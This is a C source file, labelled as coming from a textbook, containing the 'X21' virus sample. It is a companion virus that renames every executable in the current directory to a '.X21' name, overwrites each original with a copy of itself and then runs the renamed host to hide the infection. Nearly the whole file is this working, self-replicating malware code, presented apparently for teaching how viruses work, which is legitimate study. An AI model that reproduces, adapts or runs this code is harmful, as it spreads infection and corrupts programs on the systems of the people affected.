From the textbook, a simple virus

X21.c

/* The X21 virus sample */

#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>

DIR *dirp; 		/* directory search structure */
struct dirent *dp; 	/* directory entry record */
struct stat st; 	/* file status record */ 
int stst; 		/* status call status */
FILE *host, *virus; 	/* host and virus files */
long FileID; 		/* 1st 4 bytes of host */ 
char buf[512]; 		/* buffer for disk reads/writes */
char *lc; 		/* used to search for X11 */
size_t amt_read ;	/* amount read from file */

int main(argc, argv, envp)
	int argc;
	char *argv[], *envp[];
{
	dirp = opendir("."); 	/* begin directory search */ 
	while ((dp = readdir(dirp))!=NULL) {   /* have a file, check it out */
		if ((stst = stat((const char *) &dp->d_name, &st)) == 0){	/* get status */
			lc=(char *)&dp->d_name; 
			while (*lc!=0) lc++;
			lc=lc-3;  /*lc points to last 3 chars in file name */
			if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='1'))) /* "X21"? */
					&&(st.st_mode&S_IXUSR!=0)) {
					strcpy((char *)&buf, (char *)&dp->d_name); 
					strcat((char *)&buf, ".X21");
					if (( host=fopen((char *)&buf, "r"))!=NULL) fclose(host);
					else {
						if(rename((char *) &dp->d_name,(char *)&buf)==0) { /*rename hst */ 
							if((virus=fopen(argv[0], "r"))!=NULL) {
								if((host=fopen((char *)&dp->d_name,"w"))!=NULL)
								{
									while (!feof(virus)){	/*and copy virus to orig*/
										amt_read=512;
										amt_read=fread(&buf,1,amt_read,virus);
										fwrite(&buf,1,amt_read,host);
									}
									fclose(host);
									strcpy((char *)&buf,"./");
									strcat((char *)&buf,(char *)&dp->d_name);
									chmod((char *)&buf,S_IRWXU|S_IXGRP);
								}
								fclose(virus);	/* infection process complete */
							}
						}
					}
			}
		}
	}
	(void)closedir(dirp);		/* infection process s complete for this dir */
	strcpy((char *)&buf,argv[0]); 	/* the host is this program's name */
	strcat((char *)&buf,".X21"); 	/* with a X21 tacked on */
	execve((char *)&buf, argv,envp);/* execute this program's host */
}
			
/* END */